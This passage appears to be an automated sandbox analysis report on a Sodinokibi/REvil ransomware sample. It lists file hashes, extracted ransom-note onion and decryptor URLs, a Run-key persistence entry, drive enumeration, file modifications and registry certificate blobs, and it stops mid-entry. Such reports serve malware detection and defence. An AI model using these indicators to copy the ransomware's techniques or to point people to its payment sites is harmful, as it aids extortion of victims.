Analysis
-
max time kernel
146s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
03-02-2024 19:28
Static task
static1
Behavioral task
behavioral1
Sample
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe
Resource
win10v2004-20231222-en
General
-
Target
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe
-
Size
166KB
-
MD5
340b6f816bfdcfcb466cfc126c976844
-
SHA1
e2e3adfcf621166a9f5bb7ee9795b7914cda2095
-
SHA256
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57
-
SHA512
3e729878fe7ae2ea2f025d71d78226ddb5930b791143eb8c4ba4a7589d5944e5b0e37e8ffe1ea4983bbc66c71587e3a4b158b3e8a2b71ccbed2889c4778962f9
-
SSDEEP
3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QLOoBB2W:ZJ0BXScFy2RsQJ8zgLOYB
Malware Config
Extracted
C:\Recovery\d0ql04e8e-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/08C8AF9F4DEF8153
http://decryptor.cc/08C8AF9F4DEF8153
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe" 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exedescription ioc process File opened (read-only) \??\U: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\B: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\J: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\K: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\T: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\X: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\H: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\Q: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\D: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\M: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\Y: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\Z: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\L: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\P: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\R: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\A: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\E: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\W: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\F: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\G: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\I: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\V: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\N: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\O: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened (read-only) \??\S: 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a6i4nxxck1c.bmp" 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe -
Drops file in Program Files directory 35 IoCs
Processes:
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exedescription ioc process File opened for modification \??\c:\program files\UnblockWatch.contact 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\ConvertFromExit.vsx 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\FormatDeny.bmp 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\PingRemove.vstm 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\TraceStart.mid 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\StopSubmit.m4a 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\UninstallRevoke.xht 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\ConvertFromTest.TTS 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\CopyHide.dot 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\EditWrite.ods 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\PingAssert.vsdm 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\ResolveCopy.ADTS 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\SelectConvertTo.html 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\ConnectRedo.mpeg 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\FindMove.svgz 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\GrantUnlock.easmx 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\ResizeOptimize.3gp2 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File created \??\c:\program files\d0ql04e8e-readme.txt 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\ConnectSelect.docm 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\MountRepair.xps 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\SkipEnter.midi 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File created \??\c:\program files (x86)\d0ql04e8e-readme.txt 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\BackupUnblock.m1v 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\RestartTest.m1v 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\SaveConvert.xlsb 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\BlockPublish.otf 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\ConvertFromDebug.ram 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\DebugProtect.sql 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\RegisterReceive.mpp 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\RequestExport.mid 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\ExitMount.7z 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\MeasureFind.doc 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\PushHide.ppt 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\RegisterDeny.bin 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe File opened for modification \??\c:\program files\HideLimit.asx 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe -
Processes:
3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\151682F5218C0A511C28F4060A73B9CA78CE9A53 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe Set value (data) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\151682F5218C0A511C28F4060A73B9CA78CE9A53\Blob = 030000000100000014000000151682f5218c0a511c28f4060a73b9ca78ce9a531400000001000000140000007c4296aede4b483bfa92f89e8ccf6d8ba972379504000000010000001000000029f1c1b26d92e893b6e6852ab708cce10f00000001000000200000005aef843ffcf2ec7055f504a162f229f8391c370ff3a6163d2db3f3d604d622be19000000010000001000000070d4f0bec2078234214bd651643b02405c0000000100000004000000800100001800000001000000100000002fe1f70bb05d7c92335bc5e05b984da62000000001000000640400003082046030820248a0030201020210079e492886376fd40848c23fc631e463300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3230303930343030303030305a170d3235303931353136303030305a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f742058323076301006072a8648ce3d020106052b8104002203620004cd9bd59f80830aec094af3164a3e5ccf77acde67050d1d07b6dc16fb5a8b14dbe27160c4ba459511898eea06dff72a161ca4b9c5c532e003e01e8218388bd745d80a6a6ee60077fb02517d22d80a6e9a5b77dff0fa41ec39dc75ca68070c1feaa381e53081e2300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604147c4296aede4b483bfa92f89e8ccf6d8ba9723795301f0603551d2304183016801479b459e67bb6e5e40173800888c81a58f6e99b6e303206082b0601050507010104263024302206082b060105050730028616687474703a2f2f78312e692e6c656e63722e6f72672f30270603551d1f0420301e301ca01aa0188616687474703a2f2f78312e632e6c656e63722e6f72672f30220603551d20041b30193008060667810c010201300d060b2b0601040182df13010101300d06092a864886f70d01010b050003820201001b7f252b907a0876007718e1c32e8a364c417ebf174be330d75b0c7e9c96986f7bb068c02444cce2f2fcd1eadbd29f01f9174d0c9d55fda5ad6dd22f3f4b72c02eae73c7251657c23e15ade031d10a84846c6278423122461aed7a40bf9716814477ca6c7b5d215c07f2119121bfe12fc2ef6efd0520e4b4f779f32dbb372af0c6b1acac51f51fb35a1e66ce580718387f71a93c83bad7bc829e9a760f9eb029fdcbf38907481bfeab932e14210d5faf8eb754ab5d0ed45b4c71d092ea3da3369b7c1fe03b55b9d85353cc8366bb4adc810600188bf4b3d748b11341b9c4b69ecf2c778e42200b807e9fc5ab48dbbc6f048d6c4629020d708a1df11273b64624429e2a1718e3acc798c272cc6d2d766ddd2c2b2696a5cf21081be5da2fcbef9f7393aef8365f478f9728ceabe29826988bfdee28322229ed4c9509c420fa07e1862c44f68147c0e46232ed1dd83c488896c35e91b6af7b59a4eee3869cc78858ca282a66559b8580b91dd8402bc91c133ca9ebde99c21640f6f5a4ae2a256c52bac7044cb432bbfc385ca00c617b57ec774e50cfaf06a20f378ce10ed2d32f1abd9c713ecce1f8d1a8a3bd04f619c0f986aff50e1aaa956befca47714b631c4d96db55230a9d0f8175a0e640f56446036ecefa6a7d06eca4340674da53d8b9b8c6237da9f82a2da482a62e2d11cae6cd31587985e6721ca79fd34cd066d0a7bb 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\30779E9315022E94856A3FF8BCF815B082F9AEFD 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\30779E9315022E94856A3FF8BCF815B082F9AEFD\Blob = 0f0000000100000014000000a16d1faa61f7277cd9abc31c9c893ed7b41efb197f0000000100000066000000306406082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030506082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b0601050507030809000000010000005c000000305a06082b0601050507030206082b0601050507030306082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b0601050507030853000000010000004600000030443020060a2b06010401f33906010130123010060a2b0601040182373c0101030200c03020060a2b06010401f33906010230123010060a2b0601040182373c0101030200c062000000010000002000000023804203ca45d8cde716b8c13bf3b448457fa06cc10250997fa01458317c41e50b000000010000001600000049007a0065006e00700065002e0063006f006d0000001400000001000000140000001d1c650ea8f2257bb491cfe4b1b1e6bd55746c051d0000000100000010000000d895a1485825711bece16ab985d86da27a000000010000000c000000300a06082b060105050703097e000000010000000800000000c0032f2df8d60168000000010000000000000003000000010000001400000030779e9315022e94856a3ff8bcf815b082f9aefd2000000001000000f4050000308205f0308203d8a003020102020f06e846272f1f0a8fd1845ce369f6d5300d06092a864886f70d01010505003038310b300906035504061302455331143012060355040a0c0b495a454e504520532e412e3113301106035504030c0a497a656e70652e636f6d301e170d3037313231333133303832375a170d3337313231333038323732355a3038310b300906035504061302455331143012060355040a0c0b495a454e504520532e412e3113301106035504030c0a497a656e70652e636f6d30820222300d06092a864886f70d01010105000382020f003082020a0282020100c9d37aca0f1eaca786e816656ab1c21b45327195d9fe105bccafe7a579018f89c3caf25571f777be7794f372a42c44d89e929b143aa1e724900a0a568ec5d82694e1d948e12d3eda0a72dda39915da81a287f47b6e26778958add6eb0cb2417a736e6ddb7a7841e90888127e872e6611636c54fb3c9d72c0bc2effc2b7dd0d76e33ad7f7b468bea2f5e3816ec1466f5d8de04dc65455891a33310ab157b9a38a98c3ec3b34c59541697e75c23c20c561ba5147a0209093a1904bf34e7c8545549ad1052641b0b54d1d33bec403c8257cc170db3bf4092d542748ac2fe1c4ac3ec8cb924c53393723ecd301f9e009444d4d64c0e10d5a8722bcad1ba3fe26b515f3a7fc8419e9eca188b444698483f389d17406a9cc0bd6c2de27855026ca17b8c97a87562c1a011e6cbe13ad10acb524f53891a1d64bdaf1bbd2de47b5f1bc81f6596bcf1953e98d15cb4acba96f44e51b41cfe186a7cad06a9fbc4c8d06335aa285e59035a0625c164ef0e3a2fa031ab42c71b3582cde7b0bdb1a0febde211f06770603b0c9ef99fcc0b94f0b8628fed2b9eae3daa5c3476912e0dbf0f6198bed7b70d702d6ed8718282c04244c77e4488a1ac63b9ad40fcafa75d201405a8d79bf8bcf4bcfaa16c195e4ad4c8a3e1791d4b162e582e58004a4037e8dbfda7fa20f974f0cd30dfbd7d1e5727e1cc877ff5b9a0fb7ae0546e5f1a816ec47a4170203010001a381f63081f33081b00603551d110481a83081a5810f696e666f40697a656e70652e636f6da4819130818e31473045060355040a0c3e495a454e504520532e412e202d20434946204130313333373236302d524d6572632e5669746f7269612d4761737465697a205431303535204636322053383143304106035504090c3a417664612064656c204d65646974657272616e656f2045746f726269646561203134202d203031303130205669746f7269612d4761737465697a300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604141d1c650ea8f2257bb491cfe4b1b1e6bd55746c05300d06092a864886f70d01010505000382020100c781466f21184fa005efe7d5ba9750a260eda592141a529bf9f1884aa0dc7875d1d51f954ec5e7b769e622f4f829a82a89becfcf768fe331739d26d31c1b4716290768848ad2fbb11b243ed298182c248eaff67bea44161b2ac4faa097e9ea6c58a4ef75ab0062d19ded1336db220bb6f0d1f46e7b4687c29dbcbdbe423bb773d09a2a3cb45b121600af19398dad83501cc8814fbd020f3d9e3596eeefe4c2037c291c027ebd34275eaf53d69d17bf576ce9d08310afbf5d4def907b5d2bacecea7d002617cc025c63d71918a7ec2bc78a3e580e8a87e6839f4eb2341eac54094f1d020b397e810815b9a06913c8322be3ad6c13d6839d232db26da288867ea80d01260940d9ed284e8c93240fdbf11e4d7a7a5ae2a558f1dc8f5f99820c2ecfb2dd98cc92943ff909b3a596255b37f5128541e2194cc68a08c1dc187a0f1e3f8259a29a3e3ff9e0099ffdc1914b5dc97bd6b689fcdf1d7c86aacd03f20b5292f1626f7f87eaab76c96c50c21982afaa1df52028682ed5fc64374fcfa544c4be72b48c74b46ca7faf2bd7438432bdeaff9dcd8e09d9fdc3dcaa56344bf92a24f4c801cbb1ac39a4a04554dcaee260b1cbf02c564d39e7ed2d3911c4ba2f51ce5171c0d0c52a3911f9cf021ed02946fa9a049cae8438cc4f434da7c22a3c6663eb81b05885dbabcf7bce5dc143da786a8b6595221035e8be304ed4b2a1ea34f50 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\30779E9315022E94856A3FF8BCF815B082F9AEFD\Blob = 0400000001000000100000008714ab83c4041bf193c750e2d721ebef03000000010000001400000030779e9315022e94856a3ff8bcf815b082f9aefd6800000001000000000000007e000000010000000800000000c0032f2df8d6017a000000010000000c000000300a06082b060105050703091d0000000100000010000000d895a1485825711bece16ab985d86da21400000001000000140000001d1c650ea8f2257bb491cfe4b1b1e6bd55746c050b000000010000001600000049007a0065006e00700065002e0063006f006d00000062000000010000002000000023804203ca45d8cde716b8c13bf3b448457fa06cc10250997fa01458317c41e553000000010000004600000030443020060a2b06010401f33906010130123010060a2b0601040182373c0101030200c03020060a2b06010401f33906010230123010060a2b0601040182373c0101030200c009000000010000005c000000305a06082b0601050507030206082b0601050507030306082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703087f0000000100000066000000306406082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030506082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f0000000100000014000000a16d1faa61f7277cd9abc31c9c893ed7b41efb192000000001000000f4050000308205f0308203d8a003020102020f06e846272f1f0a8fd1845ce369f6d5300d06092a864886f70d01010505003038310b300906035504061302455331143012060355040a0c0b495a454e504520532e412e3113301106035504030c0a497a656e70652e636f6d301e170d3037313231333133303832375a170d3337313231333038323732355a3038310b300906035504061302455331143012060355040a0c0b495a454e504520532e412e3113301106035504030c0a497a656e70652e636f6d30820222300d06092a864886f70d01010105000382020f003082020a0282020100c9d37aca0f1eaca786e816656ab1c21b45327195d9fe105bccafe7a579018f89c3caf25571f777be7794f372a42c44d89e929b143aa1e724900a0a568ec5d82694e1d948e12d3eda0a72dda39915da81a287f47b6e26778958add6eb0cb2417a736e6ddb7a7841e90888127e872e6611636c54fb3c9d72c0bc2effc2b7dd0d76e33ad7f7b468bea2f5e3816ec1466f5d8de04dc65455891a33310ab157b9a38a98c3ec3b34c59541697e75c23c20c561ba5147a0209093a1904bf34e7c8545549ad1052641b0b54d1d33bec403c8257cc170db3bf4092d542748ac2fe1c4ac3ec8cb924c53393723ecd301f9e009444d4d64c0e10d5a8722bcad1ba3fe26b515f3a7fc8419e9eca188b444698483f389d17406a9cc0bd6c2de27855026ca17b8c97a87562c1a011e6cbe13ad10acb524f53891a1d64bdaf1bbd2de47b5f1bc81f6596bcf1953e98d15cb4acba96f44e51b41cfe186a7cad06a9fbc4c8d06335aa285e59035a0625c164ef0e3a2fa031ab42c71b3582cde7b0bdb1a0febde211f06770603b0c9ef99fcc0b94f0b8628fed2b9eae3daa5c3476912e0dbf0f6198bed7b70d702d6ed8718282c04244c77e4488a1ac63b9ad40fcafa75d201405a8d79bf8bcf4bcfaa16c195e4ad4c8a3e1791d4b162e582e58004a4037e8dbfda7fa20f974f0cd30dfbd7d1e5727e1cc877ff5b9a0fb7ae0546e5f1a816ec47a4170203010001a381f63081f33081b00603551d110481a83081a5810f696e666f40697a656e70652e636f6da4819130818e31473045060355040a0c3e495a454e504520532e412e202d20434946204130313333373236302d524d6572632e5669746f7269612d4761737465697a205431303535204636322053383143304106035504090c3a417664612064656c204d65646974657272616e656f2045746f726269646561203134202d203031303130205669746f7269612d4761737465697a300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604141d1c650ea8f2257bb491cfe4b1b1e6bd55746c05300d06092a864886f70d01010505000382020100c781466f21184fa005efe7d5ba9750a260eda592141a529bf9f1884aa0dc7875d1d51f954ec5e7b769e622f4f829a82a89becfcf768fe331739d26d31c1b4716290768848ad2fbb11b243ed298182c248eaff67bea44161b2ac4faa097e9ea6c58a4ef75ab0062d19ded1336db220bb6f0d1f46e7b4687c29dbcbdbe423bb773d09a2a3cb45b121600af19398dad83501cc8814fbd020f3d9e3596eeefe4c2037c291c027ebd34275eaf53d69d17bf576ce9d08310afbf5d4def907b5d2bacecea7d002617cc025c63d71918a7ec2bc78a3e580e8a87e6839f4eb2341eac54094f1d020b397e810815b9a06913c8322be3ad6c13d6839d232db26da288867ea80d01260940d9ed284e8c93240fdbf11e4d7a7a5ae2a558f1dc8f5f99820c2ecfb2dd98cc92943ff909b3a596255b37f5128541e2194cc68a08c1dc187a0f1e3f8259a29a3e3ff9e0099ffdc1914b5dc97bd6b689fcdf1d7c86aacd03f20b5292f1626f7f87eaab76c96c50c21982afaa1df52028682ed5fc64374fcfa544c4be72b48c74b46ca7faf2bd7438432bdeaff9dcd8e09d9fdc3dcaa56344bf92a24f4c801cbb1ac39a4a04554dcaee260b1cbf02c564d39e7ed2d3911c4ba2f51ce5171c0d0c52a3911f9cf021ed02946fa9a049cae8438cc4f434da7c22a3c6663eb81b05885dbabcf7bce5dc143da786a8b6595221035e8be304ed4b2a1ea34f50 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\30779E9315022E94856A3FF8BCF815B082F9AEFD\Blob = 190000000100000010000000ee8d49b7586d213f273a2c1e1b11bffb0f0000000100000014000000a16d1faa61f7277cd9abc31c9c893ed7b41efb197f0000000100000066000000306406082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030506082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b0601050507030809000000010000005c000000305a06082b0601050507030206082b0601050507030306082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b0601050507030853000000010000004600000030443020060a2b06010401f33906010130123010060a2b0601040182373c0101030200c03020060a2b06010401f33906010230123010060a2b0601040182373c0101030200c062000000010000002000000023804203ca45d8cde716b8c13bf3b448457fa06cc10250997fa01458317c41e50b000000010000001600000049007a0065006e00700065002e0063006f006d0000001400000001000000140000001d1c650ea8f2257bb491cfe4b1b1e6bd55746c051d0000000100000010000000d895a1485825711bece16ab985d86da27a000000010000000c000000300a06082b060105050703097e000000010000000800000000c0032f2df8d60168000000010000000000000003000000010000001400000030779e9315022e94856a3ff8bcf815b082f9aefd0400000001000000100000008714ab83c4041bf193c750e2d721ebef2000000001000000f4050000308205f0308203d8a003020102020f06e846272f1f0a8fd1845ce369f6d5300d06092a864886f70d01010505003038310b300906035504061302455331143012060355040a0c0b495a454e504520532e412e3113301106035504030c0a497a656e70652e636f6d301e170d3037313231333133303832375a170d3337313231333038323732355a3038310b300906035504061302455331143012060355040a0c0b495a454e504520532e412e3113301106035504030c0a497a656e70652e636f6d30820222300d06092a864886f70d01010105000382020f003082020a0282020100c9d37aca0f1eaca786e816656ab1c21b45327195d9fe105bccafe7a579018f89c3caf25571f777be7794f372a42c44d89e929b143aa1e724900a0a568ec5d82694e1d948e12d3eda0a72dda39915da81a287f47b6e26778958add6eb0cb2417a736e6ddb7a7841e90888127e872e6611636c54fb3c9d72c0bc2effc2b7dd0d76e33ad7f7b468bea2f5e3816ec1466f5d8de04dc65455891a33310ab157b9a38a98c3ec3b34c59541697e75c23c20c561ba5147a0209093a1904bf34e7c8545549ad1052641b0b54d1d33bec403c8257cc170db3bf4092d542748ac2fe1c4ac3ec8cb924c53393723ecd301f9e009444d4d64c0e10d5a8722bcad1ba3fe26b515f3a7fc8419e9eca188b444698483f389d17406a9cc0bd6c2de27855026ca17b8c97a87562c1a011e6cbe13ad10acb524f53891a1d64bdaf1bbd2de47b5f1bc81f6596bcf1953e98d15cb4acba96f44e51b41cfe186a7cad06a9fbc4c8d06335aa285e59035a0625c164ef0e3a2fa031ab42c71b3582cde7b0bdb1a0febde211f06770603b0c9ef99fcc0b94f0b8628fed2b9eae3daa5c3476912e0dbf0f6198bed7b70d702d6ed8718282c04244c77e4488a1ac63b9ad40fcafa75d201405a8d79bf8bcf4bcfaa16c195e4ad4c8a3e1791d4b162e582e58004a4037e8dbfda7fa20f974f0cd30dfbd7d1e5727e1cc877ff5b9a0fb7ae0546e5f1a816ec47a4170203010001a381f63081f33081b00603551d110481a83081a5810f696e666f40697a656e70652e636f6da4819130818e31473045060355040a0c3e495a454e504520532e412e202d20434946204130313333373236302d524d6572632e5669746f7269612d4761737465697a205431303535204636322053383143304106035504090c3a417664612064656c204d65646974657272616e656f2045746f726269646561203134202d203031303130205669746f7269612d4761737465697a300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604141d1c650ea8f2257bb491cfe4b1b1e6bd55746c05300d06092a864886f70d01010505000382020100c781466f21184fa005efe7d5ba9750a260eda592141a529bf9f1884aa0dc7875d1d51f954ec5e7b769e622f4f829a82a89becfcf768fe331739d26d31c1b4716290768848ad2fbb11b243ed298182c248eaff67bea44161b2ac4faa097e9ea6c58a4ef75ab0062d19ded1336db220bb6f0d1f46e7b4687c29dbcbdbe423bb773d09a2a3cb45b121600af19398dad83501cc8814fbd020f3d9e3596eeefe4c2037c291c027ebd34275eaf53d69d17bf576ce9d08310afbf5d4def907b5d2bacecea7d002617cc025c63d71918a7ec2bc78a3e580e8a87e6839f4eb2341eac54094f1d020b397e810815b9a06913c8322be3ad6c13d6839d232db26da288867ea80d01260940d9ed284e8c93240fdbf11e4d7a7a5ae2a558f1dc8f5f99820c2ecfb2dd98cc92943ff909b3a596255b37f5128541e2194cc68a08c1dc187a0f1e3f8259a29a3e3ff9e0099ffdc1914b5dc97bd6b689fcdf1d7c86aacd03f20b5292f1626f7f87eaab76c96c50c21982afaa1df52028682ed5fc64374fcfa544c4be72b48c74b46ca7faf2bd7438432bdeaff9dcd8e09d9fdc3dcaa56344bf92a24f4c801cbb1ac39a4a04554dcaee260b1cbf02c564d39e7ed2d3911c4ba2f51ce5171c0d0c52a3911f9cf021ed02946fa9a049cae8438cc4f434da7c22a3c6663eb81b05885dbabcf7bce5dc143da786a8b6595221035e8be304ed4b2a1ea34f50 3cff33197edc918d47d08f44d6ddbdda157337f0ad58288d15746cf72c0e4c57.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\30779E9315022E94856A3FF8BCF815B082F9AEFD\Blob = 